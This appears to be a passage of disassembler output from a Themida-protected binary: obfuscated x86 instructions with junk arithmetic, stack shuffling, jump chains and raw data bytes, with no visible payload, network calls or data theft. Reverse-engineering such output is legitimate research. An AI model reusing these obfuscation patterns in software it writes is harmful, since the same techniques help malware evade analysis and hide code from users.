		xchg	eax, [esp]
		pop	esp
		and	ecx, edx
		jmp	loc_5400AC
; ---------------------------------------------------------------------------
aPuhbx		db 'PUhbX',0
		dw 8900h
		dd 0DEBE2434h, 4661822Dh, 0FFDE22E9h, 4EC81FFh,	89000000h
		dd 63B82404h, 2D18CE07h, 0FFFFFFFFh, 0F705E8C1h, 703E05D0h
		dd 0EA8100C6h, 21655795h, 0C281C201h, 21655795h, 5024048Bh
		dd 405E089h, 0E9000000h, 822Dh
; ---------------------------------------------------------------------------


loc_537EA0:				; CODE XREF: Themida_:0053C6FCj
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		jmp	loc_53D530
; ---------------------------------------------------------------------------
		db 66h
		dd 2404A30Fh, 489BE99Ch, 0C2810000h, 785E6D13h,	379268h
		dd 243C8900h, 36BE5650h, 813A482Eh, 0D1009AC6h,	0E9DEF745h
		dd 0FFFFE964h, 5504E3C1h, 90CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_537EE9:				; CODE XREF: Themida_:0053E900j
		sub	esp, 4
		jmp	loc_536590
; ---------------------------------------------------------------------------
		dd offset dword_49005C+530Ch
		align 2
		dw 489h
aH4		db '$h%4',0
		align 2
		dw 0C89h
		dd 32D9B924h, 0C8895D01h, 961AE9h
		db 0
; ---------------------------------------------------------------------------


loc_537F0D:				; CODE XREF: Themida_:005373D8j
		add	ecx, 39AFA102h
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_53B102
; ---------------------------------------------------------------------------


loc_537F1E:				; CODE XREF: Themida_:0053A16Dj
		pop	esi
		jmp	loc_53FA49
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D25966h, 8EE99C24h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_537F33:				; CODE XREF: Themida_:0053F9C5j
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5366D0
; ---------------------------------------------------------------------------
		dd 0F01CFE2Dh, 8CE95E6Eh, 1FFFFECh, 2434FFC6h, 295B6858h
		dd 1C890000h, 51E38924h, 0AF290EB9h, 0AE98125h,	0E925AF29h
		dd 3272h, 0E2895259h, 4C281h, 0C2830000h, 24148704h, 2CE2E95Ch
		dd 1C890000h, 63ECE924h, 0E7890000h, 48CEB951h,	6FE94808h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_537F93:				; CODE XREF: Themida_:0054056Fj
		mov	edx, 4
		add	edi, edx
		pop	edx
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 7
		push	1597h
		mov	[esp], ebx
		push	eax
		mov	eax, 55A7DE7h
		add	[esp+4], eax
		pop	eax
		pop	eax
		push	esi
		push	ecx
		mov	ecx, 56A01B76h
		not	ecx
		push	eax
		mov	eax, 6FBA6B2Ch
		add	eax, 12627A4Ch
		xor	eax, 0D0F8F75Fh
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 1BFE0E2Dh
		add	ebx, 42C63B01h
		jmp	loc_53D196
; ---------------------------------------------------------------------------
		dd 6AB06866h, 240C8966h, 0FFDACCE9h, 48B66FFh, 5DB36824h
		dd 34890000h, 0CEE95424h, 5600004Dh, 3E01E954h,	67BA0000h
		dd 967086Ch, 449BE9D5h,	0DA010000h, 0FFDCC1E9h,	89E889FFh
		dd 24048BC2h, 8B04C483h, 0F0E9242Ch
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_538033:				; CODE XREF: Themida_:00537B6Cj
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	edx, 1DFE7F89h
		or	edx, 16595186h
		jmp	loc_53C838
; ---------------------------------------------------------------------------


loc_53805B:				; CODE XREF: Themida_:00542374j
		pop	ebx
		jmp	loc_53E4F0
; ---------------------------------------------------------------------------
		db 1, 0DDh, 5Bh
		dd 0A2F5F581h, 0EF8907B7h, 81242C8Bh, 4C4h, 0C1E7D100h
		dd 0E78105EFh, 1A567493h, 2EDFE9h, 24048B00h, 4E34E9h
		dd 4C38100h, 81000000h,	4C3h, 241C8700h, 24048F5Ch, 0AB0F665Ch
		dd 0E99C2404h, 0FFFFDA15h, 42474FFh, 83243C8Bh,	65E904C4h
		dd 68000088h, 0F0Eh, 0E9242489h, 4A8Ch
; ---------------------------------------------------------------------------


loc_5380C8:				; CODE XREF: Themida_:loc_538788j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_536DA6
		push	6DECh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 79FF12BDh
		shl	ecx, 4
		add	ecx, 0BDCC3D44h
		push	ecx
		jmp	loc_53DDE5
; ---------------------------------------------------------------------------
		dd 0E904C683h, 9A4h
; ---------------------------------------------------------------------------


loc_5380FC:				; CODE XREF: Themida_:0053F80Aj
		push	edx
		mov	edx, 124A08F8h
		not	edx
		or	edx, 6D422C7Fh
		neg	edx
		xor	edx, 0E190C9Ch
		mov	esi, edx
		pop	edx
		or	esi, 5CAB36D5h
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5D9E47A5h
		dec	ebx
		jmp	loc_53B19D
; ---------------------------------------------------------------------------
		dd 51D831ADh, 0BE56E189h, 7EE57D9Fh, 0EE81DEF7h, 5A2870BEh
		dd 0D3F7DE87h, 0EE81DE87h, 0D90DEE58h, 348BF101h, 45ABE924h
		dd 14330000h, 24248B24h, 24048B66h, 81E38953h, 4C3h, 4EC8100h
		dd 0E9000000h, 9A29h, 240C8B66h, 0E9595451h, 4927h, 25E95866h
		db 84h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_538187:				; CODE XREF: Themida_:00537D1Cj
		jz	loc_53A52F
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	78D0h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		jmp	loc_540349
; ---------------------------------------------------------------------------
		db 89h
		dd 29BA2414h, 0E925622Eh, 8111h, 0FF2434FFh, 57582434h
		dd 0E953E789h, 2E17h, 33240431h, 665C2404h, 0E9240489h
		dd 0FFFFD8E9h, 0FFD8E4E9h, 240C8BFFh, 81E78957h, 4C7h
		dd 0F999E900h, 68ACFFFFh, 0C2Bh, 5CB5E9h, 24048900h, 2B8h
		dd 37A2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_538206:				; CODE XREF: Themida_:00542069j
		pop	ecx
		jmp	loc_5365C4
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4466E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_53821A:				; CODE XREF: Themida_:0054061Dj
		add	esp, [edx+38h]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_541EB5
; ---------------------------------------------------------------------------


loc_53822B:				; CODE XREF: Themida_:005373A1j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_537312
; ---------------------------------------------------------------------------
aFpsv		db '[fPé‚',9,0
		dd 5EEC000h, 0A08AE9h, 55E28900h, 4BDh,	9AC28100h, 81733B75h
		dd 0F70AB6C2h, 0F4E0E922h, 0DE09FFFFh, 9608E95Bh, 0EFD10000h
		dd 3E7C147h, 5106EFC1h,	913222B9h, 0B6F1813Ah, 8170166Dh
		dd 0B62D0E9h, 59CF014Bh, 3D66C905h, 23B82D11h, 0F8016A34h
		dd 0FFEC3EE9h, 2E959FFh, 5D00003Ah, 26852h, 2AE90000h
		dd 0BE000014h, 2, 1A63C181h, 2EE93299h,	57000067h, 0C781E789h
		dd 4, 0E904EF83h, 0FFFFE58Ah, 2C77C580h, 0E9C1E91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5382D6:				; CODE XREF: Themida_:00539DF9j
		push	4BC7h
		mov	[esp], esi
		push	esp
		pop	esi
		push	3ABDh
		mov	[esp], eax
		mov	eax, 67394024h
		and	eax, 18B70FCCh
		jmp	loc_53C374
; ---------------------------------------------------------------------------


loc_5382F7:				; CODE XREF: Themida_:0054229Ej
		shr	ebp, 6
		not	ebp
		push	edi
		mov	edi, 6415568h
		sub	edi, 63291EEBh
		shl	edi, 1
		push	eax
		mov	eax, 793E18EDh
		jmp	loc_540F1A
; ---------------------------------------------------------------------------
		db 0BAh, 23h, 1Eh
		dd 0D7311806h, 63C1815Ah, 1796B2Dh, 2878E9F9h, 2B680000h
		dd 5F15B911h, 4247C01h,	6368585Fh, 89000070h, 0E955243Ch
		dd 8F04h, 0B251B753h, 5BFA307Ch, 5835E9h, 97B75300h, 0E902EFC0h
		dd 1062h, 0C002EBC0h, 0C38006E3h, 5BD828D3h, 54D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_53836D:				; CODE XREF: Themida_:00540AD7j
		mov	ebp, 4
		jmp	loc_53F6C3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B3C77h, 6876824h, 1C890000h, 525B5424h, 4BAh, 0D89EE900h
		dd 0E9ACFFFFh, 0FFFFE7FEh, 0C381EB29h, 55BE788Ah, 39EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_5383A5:				; CODE XREF: Themida_:0053E31Bj
		mov	[esp], ecx
		mov	ecx, 72552122h
		push	esi
		push	edx
		jmp	loc_53F8D3
; ---------------------------------------------------------------------------


loc_5383B4:				; CODE XREF: Themida_:0053D1A6j
		mov	edi, 577A011Ch
		and	ebp, edi
		pop	edi
		sub	ebp, 0F53B8F1Eh
		and	ecx, ebp
		pop	ebp
		sub	ecx, 57B9F2CFh
		mov	esi, ecx
		pop	ecx
		jmp	loc_539FE9
; ---------------------------------------------------------------------------
		db 58h
		dd 665AEE80h, 2026B151h, 0F094E9CEh, 0BD55FFFFh, 7506197Dh
		dd 0ED81DDF7h, 317568C8h, 3BE0E581h, 0F581694Ch, 3E1F7105h
		dd 4B41F581h, 52E9312Ah, 100003Fh, 665F05D8h, 0E951400Eh
		dd 9855h, 0E924248Bh, 0FFFFD6A5h
; ---------------------------------------------------------------------------


loc_53841C:				; CODE XREF: Themida_:0053BD4Dj
		mov	ebp, 8615A55h
		not	ebp
		inc	ebp
		sub	ebp, 0BF9C3C36h
		jmp	loc_53ADA8
; ---------------------------------------------------------------------------
		db 0FFh
		dd 148B2434h, 4C48324h,	4EC81h,	4AE90000h, 8B00000Ch, 7AE92404h
		dd 81FFFFEBh, 9104E4C5h, 9526E942h, 0D0290000h,	8BC3015Ah
		dd 89522404h, 0D7B0E9E2h, 56E9FFFFh, 66FFFFD6h,	81240C8Bh
		dd 4ECh, 242C8900h, 48A4E9h
		db 0
; ---------------------------------------------------------------------------


loc_53847D:				; CODE XREF: Themida_:005408EEj
		add	ebx, 4
		jmp	loc_5421FB
; ---------------------------------------------------------------------------


loc_538488:				; CODE XREF: Themida_:0053D1FEj
		xor	edi, 30AA2915h
		xor	edi, 45C3DECCh
		jmp	loc_539A2C
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 74h
		dd 8158C706h, 9E62F2h, 289DE9FDh, 58540000h, 570E9h, 0E95D5A00h
		dd 0FFFFD609h, 0F24248Bh, 9C51C8AFh, 69CBE9h, 31EF8100h
		dd 2925F664h, 31C781D7h, 8B25F664h, 0C4812414h,	4, 0E908E7C1h
		dd 21C7h, 67D6E95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5384EA:				; CODE XREF: Themida_:0053B8D5j
		mov	[esp], ebp
		mov	ebp, 1C1152F9h
		shr	ebp, 5
		shl	ebp, 4
		sub	ebp, 33767CF5h
		shl	ebp, 1
		xor	ebp, 0B72458F6h
		jmp	loc_5419E4
; ---------------------------------------------------------------------------
		db 5Eh
		dd offset dword_511C48+1A1h
		dd 2B900h, 0CE010000h, 81240C8Bh, 4C4h,	0CDE95600h, 81FFFFE6h
		dd 0EAE012F2h, 0F4ACE901h, 61BFFFFFh, 8156B06Dh, 151D0CEFh
		dd 0CFE78139h, 4F087F70h, 0C104EFC1h, 0EF8106E7h, 206D40FEh
		dd 8A20E9h, 3E2C100h, 58BEE9h, 0BA525A00h, 52806423h, 0A4CC281h
		dd 63E945DEh, 6600003Ch, 81240C8Bh, 4ECh, 0F13FE900h, 48BFFFFh
		dd 4C48124h, 0C0000000h, 0C4E908EAh
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_53858F:				; CODE XREF: Themida_:0053EC0Ej
		pop	edi
		mov	edx, ebx
		pop	ebx
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 1EA84024h
		xor	edx, esi
		pop	esi
		sub	edx, 17676960h
		push	edx
		jmp	loc_53605B
; ---------------------------------------------------------------------------
		dd 2D58C689h, 1126120Dh, 0D05F001h, 5E112612h, 5C240487h
		dd 24048B66h, 5D4268h, 241C8900h, 5551E389h, 362BBB53h
		dd 814B55FBh, 867D8CE3h, 0A41E958h, 3C8B0000h, 4C48324h
		dd 8B24048Fh, 0BCE92424h, 55FFFFF8h, 4DDAE9h, 0E9505100h
		dd 920Ch, 4EC81h, 1C890000h, 808FB724h,	0EC83DEE7h, 29AAE902h
		dd 1C870000h, 0C895C24h, 51E95E24h, 68FFFFF6h, 53ECh, 6D5E9h
		dd 7FE95600h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_538637:				; CODE XREF: Themida_:00536DA9j
		mov	ebx, [esp]
		push	ebx
		jmp	loc_539401
; ---------------------------------------------------------------------------
		dd 2485B850h, 0E9486CA9h, 44F8h
; ---------------------------------------------------------------------------


loc_53864C:				; CODE XREF: Themida_:00539022j
		push	dword ptr [esp]
		jmp	loc_539F7E
; ---------------------------------------------------------------------------
		dd 325DE381h, 81432B60h, 0BF6E15F3h, 7973E959h,	8F5E0000h
		dd 895C2404h, 9DBA2414h, 684C5120h, 6A7Dh, 0FFF1F6E9h
		dd 80A3B5FFh, 0C5801FF5h, 14F580DAh, 0C059EB30h, 0EBC003E3h
		dd 0B3B05006h, 3B2CC8FEh, 0C300912Ch, 4EC8158h,	89000000h
		dd 0E952240Ch, 4E3Eh, 4240481h,	0E9000000h, 0BAAh, 2474FF57h
		dd 1D58E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5386C2:				; CODE XREF: Themida_:0053D17Bj
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_535D3E
; ---------------------------------------------------------------------------
		dw 0DC88h
		dd 93E9E188h, 5BFFFFE1h, 0B60FC330h, 8734FFC0h,	0FFD3D4E9h
		dd 82B252FFh, 51A9E280h, 0E980A7B1h, 105AE9E5h,	0C8000000h
		dd 93F9E9h, 1AD2D00h, 0C3298409h, 0D994E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_538712:				; CODE XREF: Themida_:00535E2Cj
		add	ecx, 25F42F8Dh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_536292
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 875EF701h, 248B243Ch, 0D62EE924h,	3A05FFFFh, 106EA31h
		dd 92BB53F8h, 817A8B53h, 783D68C3h, 9DE3816Fh, 8165F248h
		dd 73405CBh, 3BB6E923h,	48F0000h, 7CE95C24h, 87000094h
		dd 55C2434h, 15120F1Ah,	0BD55D801h, 0DDC65FDh, 28D4E581h
		dd 0EDC132C2h, 0E9D5F707h, 4EF7h
; ---------------------------------------------------------------------------


loc_538788:				; CODE XREF: Themida_:00540746j
		jnz	loc_5380C8
		push	eax
		mov	eax, 2B56521Bh
		neg	eax
		push	edi
		mov	edi, 0F447E1h
		dec	edi
		dec	edi
		not	edi
		xor	edi, 2BA215E5h
		sub	eax, edi
		jmp	loc_53B984
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 45h
		dd 0E939D608h, 2006h, 54F65066h, 8B660124h, 0C4812404h
		dd 2, 5349F480h, 8851E788h, 59EA88FDh, 83241C8Bh, 48B04C4h
		dd 4C48124h, 4000000h, 495CE97Bh, 0C2810000h, 4, 8704EA83h
		dd 0D8E92414h, 5A00006Eh, 8B24048Fh, 0CD22424h,	0B6E99C24h
		dd 81FFFFD2h, 0FFFFFFC2h, 6AEA81FFh, 1911824h, 24148BD0h
		dd 5EC9E9h, 50E68900h, 494D94B8h, 0F405402Ah, 0C146E776h
		dd 0E8C105E8h, 67A20504h, 0C601FFC7h, 0A7BB5358h, 816DD231h
		dd 0EE2874C3h, 4E3C155h, 0FFF3C3E9h, 0D26BE9FFh, 0EB81FFFFh
		dd 7A3F12B6h, 76BEBD55h, 0EB297F03h, 6412E9h, 0C8B6600h
		dd 39D0E924h, 0E95A0000h, 6289h
; ---------------------------------------------------------------------------


loc_538878:				; CODE XREF: Themida_:0053E53Aj
		mov	ebp, 24DB74D3h
		neg	ebp
		jmp	loc_54113C
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 50914D06h, 0E93EE981h, 0CF8967BAh, 83240C8Bh
		dd 68E904C4h
		db 86h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_53889F:				; CODE XREF: Themida_:00538BF9j
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, 5C87B74h
		add	ebx, 2F393A01h
		add	ebx, ebp
		jmp	loc_5423C3
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 26E95004h, 0B800000Dh, 4, 322DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5388E9:				; CODE XREF: Themida_:0053ECB4j
		pop	eax
		jmp	loc_540733
; ---------------------------------------------------------------------------


loc_5388EF:				; CODE XREF: Themida_:0053B959j
		jmp	loc_535AC1
; ---------------------------------------------------------------------------


loc_5388F4:				; CODE XREF: Themida_:0053AA67j
		pop	esi
		jmp	loc_54228E
; ---------------------------------------------------------------------------
		dw 487h
		dd 14895C24h, 56E28924h, 3A4F4FBEh, 0BD554668h,	9650A35h
		dd 4EC81h, 90E90000h, 89FFFFF8h, 6CE92404h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_538923:				; CODE XREF: Themida_:0053CD1Cj
		neg	edx
		push	ecx
		jmp	loc_53D024
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4C481h, 8AE90000h, 68FFFFD1h, 512Fh,	54241C89h, 1497E9h
		dd 2434FF00h, 7E6FE95Ah, 2C890000h, 0F3685624h,	5E55245Eh
		dd 4178EE81h, 0C68106E5h, 0B1C0E287h, 815EF589h, 0E949C0EFh
		dd 81EF0162h, 0E949C0C7h, 70C7E962h, 555E0000h,	85629BBDh
		dd 6E89E903h, 53AC0000h, 0D80079B3h, 0FFF483E9h, 0F6F280FFh
		dd 34FFD030h, 54525A24h, 46BE565Ah, 81285871h, 9114BBEEh
		dd 70F68156h, 812C0D2Eh, 0CA72FFF6h, 0E9F201FDh, 0FFFFE095h
		dd 0E940478Fh, 0FFFFD0FDh, 0E9C3305Ch, 4516h, 5224048Bh
		dd 0C281E289h, 4, 5204C283h, 42474FFh, 0E924148Bh, 43Fh
; ---------------------------------------------------------------------------


loc_5389E8:				; CODE XREF: Themida_:0053DB4Cj
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_53A4AE
; ---------------------------------------------------------------------------
		db 81h
		dd 0BE2D71C2h, 0BFEB8156h, 105D71Bh, 35BA52D3h,	0E9459E7Eh
		dd 744Eh, 0E9241487h, 2875h, 0C581D501h, 28C62C74h, 346BE9h
		dd 40500h, 2050000h, 0E9000000h, 1B78h,	0BF5E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_538A36:				; CODE XREF: Themida_:00541E25j
		pop	ecx
		push	ebx
		jmp	loc_540642
; ---------------------------------------------------------------------------
		db 5Ah,	80h, 0F1h
		dd 59C8000Ch, 0E9516704h, 1A17h, 240C875Ch, 24248Bh, 0E99C2404h
		dd 7A78h, 0C1880D34h, 3715E9h, 5D545500h, 1893E9h, 240C8900h
		dd 0FFD9F1E9h, 30E781FFh, 680F3333h, 0
		dd 5F243C29h, 0C16BA52h, 0DAF75D71h, 0AAE28142h, 0E94D0A04h
		dd 1BD0h, 0E924048Bh, 75EEh, 5C243487h,	8B24048Fh, 0F662424h
		dd 9C2404BBh, 0FFD00CE9h, 0BAF380FFh, 8626E9h, 24348900h
		dd 0FFF7E6E9h, 3A60B9FFh, 0D1F76ABCh, 5496E181h, 0C1814B37h
		dd 39980EFEh, 5159CF31h, 0FFFFFFB9h, 59CF01FFh,	0C102EFC1h
		dd 0C78106EFh, 0FFC59AB1h, 685FFA01h, 717Ch, 0FF241489h
		dd 0E9042474h, 135Fh, 0C383C5BAh, 5FFA01BBh, 34FFD701h
		dd 0E9565A24h, 4C33h, 0C3296659h, 48E95866h, 0FF00006Ch
		dd 669D1C77h, 14D36659h, 4E99C24h, 6800008Bh, 817h, 0B8240489h
		dd 2B893B8Eh, 29CCE405h, 0EC11E937h, 0ED81FFFFh, 0D9D0403h
		dd 3568515Fh, 0E947DF53h, 2D8Ch
; ---------------------------------------------------------------------------


loc_538B5C:				; CODE XREF: Themida_:005377CEj
		push	ecx
		sub	esp, 4
		jmp	loc_53AEE4
; ---------------------------------------------------------------------------


loc_538B65:				; CODE XREF: Themida_:00537D5Bj
		push	dword ptr [edi+eax*4]
		jmp	loc_538BF6
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 87000000h, 815C243Ch, 241B4AF6h, 1411687Fh, 14890000h
		dd 6FCBBA24h, 0F2814E04h, 2B0274Ch, 0E464EA81h,	0D629EA10h
		dd 8090E9h, 81D18700h, 342E70C9h, 0C7F1817Ch, 89DB888Dh
		dd 68E959CFh, 50000063h, 350811B8h, 2423353Dh, 7FE95010h
		dd 0B4000097h, 7A58E93Ch, 48B0000h, 5E545624h, 8904EC83h
		dd 0C6BB241Ch, 435B8F3Bh, 368EEB81h, 0EBC159C5h, 23F38108h
		dd 814C040Eh, 0F17862C3h, 60DE955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_538BF6:				; CODE XREF: Themida_:00538B68j
		push	dword ptr [esp]
		jmp	loc_53889F
; ---------------------------------------------------------------------------
aSJ		db ']éÊJ',0
		align 4


loc_538C04:				; CODE XREF: Themida_:0053F05Aj
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	6AB2h
		mov	[esp], ecx
		jmp	loc_540F2C
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 0Ch
		dd 4C48124h, 83000000h,	348904ECh, 4B95124h, 89000000h
		dd 0E98159CEh, 28183060h, 0C181F101h, 28183060h, 4BD555Eh
		dd 1000000h, 44E4E9E9h,	0EB010000h, 241C875Dh, 36F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_538C5D:				; CODE XREF: Themida_:005393A1j
		push	3C32h
		mov	[esp], edx
		push	eax
		mov	eax, 477E3F29h
		push	ebx
		jmp	loc_540BC6
; ---------------------------------------------------------------------------
		db 54h,	8Bh, 4
aQisse		db '$Q䇎e',0
		align 4
		dd 48F5900h, 24248B24h,	240C8B66h, 7A7B68h, 241C8900h
		dd 5EC6E9h
		db 0
; ---------------------------------------------------------------------------


loc_538C95:				; CODE XREF: Themida_:0053CCE0j
		or	bl, 80h
		neg	bl
		sub	bl, 0BDh
		jmp	loc_540E2D
; ---------------------------------------------------------------------------
		dw 0C3FEh
		dd 88F1EB80h, 0F58BE9DEh, 30FFFFFFh, 0FFCE0CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_538CB5:				; CODE XREF: Themida_:005393E8j
		mov	eax, 0FA0E764h
		sub	ebp, 288354B8h
		sub	ebp, eax
		add	ebp, 288354B8h
		pop	eax
		jmp	loc_5412F2
; ---------------------------------------------------------------------------
aMqCa		db '¬Q±c€Á',7,0
aY		db 'ÈY',0
aQJsi		db 'ØQµjé©=',0
		align 2
		dw 0B850h
		dd 4, 8158C101h, 4C1h, 19FDE900h, 0FDB60000h, 1F366853h
		dd 0C890000h, 78FDE924h, 0C890000h, 45D6E924h, 0C4810000h
		dd 4, 8B24048Fh, 4892424h, 0CD9FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_538D22:				; CODE XREF: Themida_:0053E7ECj
		mov	ebp, 77AB5418h
		jmp	loc_541B05
; ---------------------------------------------------------------------------


loc_538D2C:				; CODE XREF: Themida_:0053F7E2j
		sub	edi, ecx
		pop	ecx
		jmp	loc_5369A2
; ---------------------------------------------------------------------------


loc_538D34:				; CODE XREF: Themida_:0054091Bj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jz	loc_53C3DD
		push	edx
		jmp	loc_53DD94
; ---------------------------------------------------------------------------


loc_538D4C:				; CODE XREF: Themida_:0053CBDEj
		add	ecx, 4B7240AFh
		add	ecx, esi
		sub	ecx, 4B7240AFh
		pop	esi
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	6007h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_53F944
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 78h
		dd 8159152Dh, 252169EBh, 81C30120h, 252169C3h, 78C38120h
		dd 5859152Dh, 4EC81h, 0C890000h, 37AEB924h, 0E9495D53h
		dd 4D49h
; ---------------------------------------------------------------------------


loc_538DAC:				; CODE XREF: Themida_:0053C867j
		mov	[esp], ebx
		mov	bl, 1Dh
		push	eax
		mov	ah, 71h
		inc	ah
		jmp	loc_540CAD
; ---------------------------------------------------------------------------
		db 66h
		dd 81240C8Bh, 4ECh, 24048900h, 0BE56E089h, 3D632ED8h, 4FB4C681h
		dd 0D6F752F0h, 1A43E681h, 0E6C1684Dh, 7CBB5307h, 29060021h
		dd 241C8BDEh, 104C483h,	0BB535EF0h, 2, 436D382Dh, 5D80132h
		dd 32436D38h, 517EE9h
		db 0
; ---------------------------------------------------------------------------


loc_538E09:				; CODE XREF: Themida_:0053A641j
		pop	edx
		add	ecx, edi
		push	0F88h
		mov	[esp], eax
		mov	eax, 0
		jmp	loc_536B64
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0F5E95524h, 81000073h, 4ECh,	24348900h, 0E952E689h
		dd 411Ah, 971713BDh, 60C3813Bh,	50066A37h, 3492E9h
		db 0
; ---------------------------------------------------------------------------


loc_538E49:				; CODE XREF: Themida_:0053A4B7j
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	ecx
		push	183D1E57h
		pop	ecx
		not	ecx
		add	ecx, 82276BBCh
		mov	edx, ecx
		pop	ecx
		add	edx, 1
		add	edx, 5A294A2Ch
		jmp	loc_53E318
; ---------------------------------------------------------------------------
		db 1, 0D7h, 0E9h
		dd 8974h, 882AB652h, 35E95AF1h,	51000071h, 511CE9h, 5585400h
		dd 4, 0AA4B951h, 12E96393h, 54000080h, 4C5815Dh, 83000000h
		dd 0F4E904C5h, 0FF00004Bh, 2E92434h, 1000038h, 0EC812404h
		dd 4, 0BA241489h, 121914EBh, 8F25E9h, 5AD52900h, 576E95Eh
		dd 1590000h, 0D1EE81C6h, 52548C73h, 8904EC83h, 0F1B82404h
		dd 0BA2D7A35h, 9E2F4F7Dh, 8158C229h, 0C117B3C2h, 25EA8166h
		dd 53007D73h, 2A79B9BBh, 5BDA2127h, 477CC281h, 50E94AAAh
		dd 66000067h, 0E9241C89h, 86FEh
; ---------------------------------------------------------------------------


loc_538F18:				; CODE XREF: Themida_:00540F1Dj
		sub	edi, 2AC51121h
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	ebp, 320090Dh
		mov	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	ecx, ebx
		pop	ebx
		shr	ecx, 2
		push	13E3h
		mov	[esp], ebx
		push	esi
		mov	esi, 3AFC5236h
		add	[esp+4], esi
		jmp	loc_53E7B6
; ---------------------------------------------------------------------------
		dd 0D8001FB3h, 241C8B66h, 0D8AE9h
		db 0
; ---------------------------------------------------------------------------


loc_538F65:				; CODE XREF: Themida_:005390C3j
		inc	ecx
		push	ebp
		mov	ebp, 0E1E5A2Bh
		jmp	loc_53DE7A
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 0A5h
		dd 285AD000h, 2CA52CD8h, 0D219E9ADh, 23BFFFFFh,	2978FD14h
		dd 0E904247Ch, 253Eh
; ---------------------------------------------------------------------------


loc_538F90:				; CODE XREF: Themida_:00539952j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_53C502
; ---------------------------------------------------------------------------


loc_538FA8:				; CODE XREF: Themida_:0053EAB4j
		pop	ebp
		neg	edi
		dec	edi
		add	edi, 0E818CC7Bh
		or	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		and	ecx, 318013C7h
		push	ebx
		push	edi
		mov	edi, 0FFFFFFFFh
		mov	ebx, edi
		pop	edi
		sub	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_541791
; ---------------------------------------------------------------------------


loc_538FD4:				; CODE XREF: Themida_:005401A5j
		push	dword ptr [edi+24h]
		push	edx
		push	0FFFFFFFFh
		jmp	loc_53F51D
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 0E281DAF7h, 76407AD4h, 3EDFBB53h, 0EBC17FE4h, 82E95304h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_538FFB:				; CODE XREF: Themida_:0053D33Ej
		shl	ecx, 5
		sub	ecx, 0C1E88757h
		push	0
		sub	[esp], ecx
		pop	ecx
		xor	ecx, 0D07EE6F7h
		push	ecx
		add	dword ptr [esp], 6912524Ch
